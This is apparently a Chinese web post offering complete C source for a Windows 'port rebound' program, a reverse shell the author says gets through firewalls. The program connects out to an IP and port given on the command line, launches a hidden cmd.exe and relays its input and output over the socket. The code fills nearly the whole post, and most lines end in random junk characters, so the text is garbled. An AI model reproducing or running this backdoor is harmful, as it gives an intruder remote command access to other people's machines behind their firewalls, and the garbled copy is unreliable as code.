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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lA1R$  
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/* ============================== 6!'yU=Z`  
Rebound port in Windows NT n`hSn41A  
By wind,2006/7 H5 -I}z  
===============================*/ |gaZq!l  
#include zL|^5p`K  
#include 7#&s G  
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#pragma comment(lib,"wsock32.lib") ge` J>2  
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void OutputShell(); vQ h'C.  
SOCKET sClient; %>bwpN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xXbW6aI"  
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void main(int argc,char **argv) vi2xonq^  
{ t_N `e(V  
WSADATA stWsaData; g(`6cY[}  
int nRet; i^> RjR  
SOCKADDR_IN stSaiClient,stSaiServer; *qqFIp^  
NubD2  
if(argc != 3) h"'f~KM9a>  
{ s.~SV"  
printf("Useage:\n\rRebound DestIP DestPort\n"); #4hP_Vhc  
return; kju:/kYA  
} MhsG9q_%  
3aOFpCs|#  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5x: XXj"  
lC2xl(#!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OU##A:gI  
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stSaiClient.sin_family = AF_INET; "6}+|!"$  
stSaiClient.sin_port = htons(0); >5j/4Ly  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (-#{qkA  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p$V+IJtO(  
{ S\,{ qhd  
printf("Bind Socket Failed!\n"); ff0B*0  
return; 3ZVfZf  
} ;~K($_#H  
l>]M^=,&7  
stSaiServer.sin_family = AF_INET; tY#^3ac  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EAI[J&c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +2g3%c0}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :JS} (  
{ *vb)d0}P  
printf("Connect Error!"); (UM+?]Qwy  
return; #i,O "`4  
} v:>P;\]r9M  
OutputShell(); 8 2qe|XD4p  
} f6#H@ X  
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void OutputShell() 8%"e-chd  
{ HT]ubw]rJ  
char szBuff[1024]; M(BZ<,9V  
SECURITY_ATTRIBUTES stSecurityAttributes; i!iODt3k  
OSVERSIONINFO stOsversionInfo; v!uLd.(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BE2{qO{  
STARTUPINFO stStartupInfo; N3?d?+A$  
char *szShell; [q@%)F  
PROCESS_INFORMATION stProcessInformation; G9i#_  
unsigned long lBytesRead;  l gC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -bE|FFU  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n>Ei1  
stSecurityAttributes.lpSecurityDescriptor = 0; fP|\1Y?CS  
stSecurityAttributes.bInheritHandle = TRUE; 26**tB<  
&td#m"wI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u|ZO"t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {)y4Qp  
_H,RcpyJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6i4j(P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V;V9_qP,  
stStartupInfo.wShowWindow = SW_HIDE; \5Jv;gc\\  
stStartupInfo.hStdInput = hReadPipe; p .HA `R>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )\(pDn$W  
G$j8I~E@  
GetVersionEx(&stOsversionInfo); twn@~$  
*+AP}\p0F  
switch(stOsversionInfo.dwPlatformId) \ C^D2Z6  
{ ka*UyW}  
case 1: yV. P.Q  
szShell = "command.com"; . ~<+  
break; 5"Yw$DB9  
default: g9XtE  
szShell = "cmd.exe"; l.BNe)1!22  
break; D H^^$)  
} [=Z{y8#:J  
.>YJ9 5&\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UOwNcY  
|`nVr>QF&  
send(sClient,szMsg,77,0); h2>0#Vp3j  
while(1) ,&-[$,  
{ b$`O|S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .phQ7":`  
if(lBytesRead) ^wlep1D  
{ <'-me09C*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FuKNH~MevQ  
send(sClient,szBuff,lBytesRead,0); a|NU)mgEI  
} iCS/~[  
else H]e 2d|  
{ riL!]'akV  
lBytesRead=recv(sClient,szBuff,1024,0); |#wz)=mD  
if(lBytesRead<=0) break; 0 Yp;?p^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {>Px.%[<  
} 5*AKl< Jl  
} #vSI_rt9I  
b<n)`;  
return; %?fzT+-=%  
}
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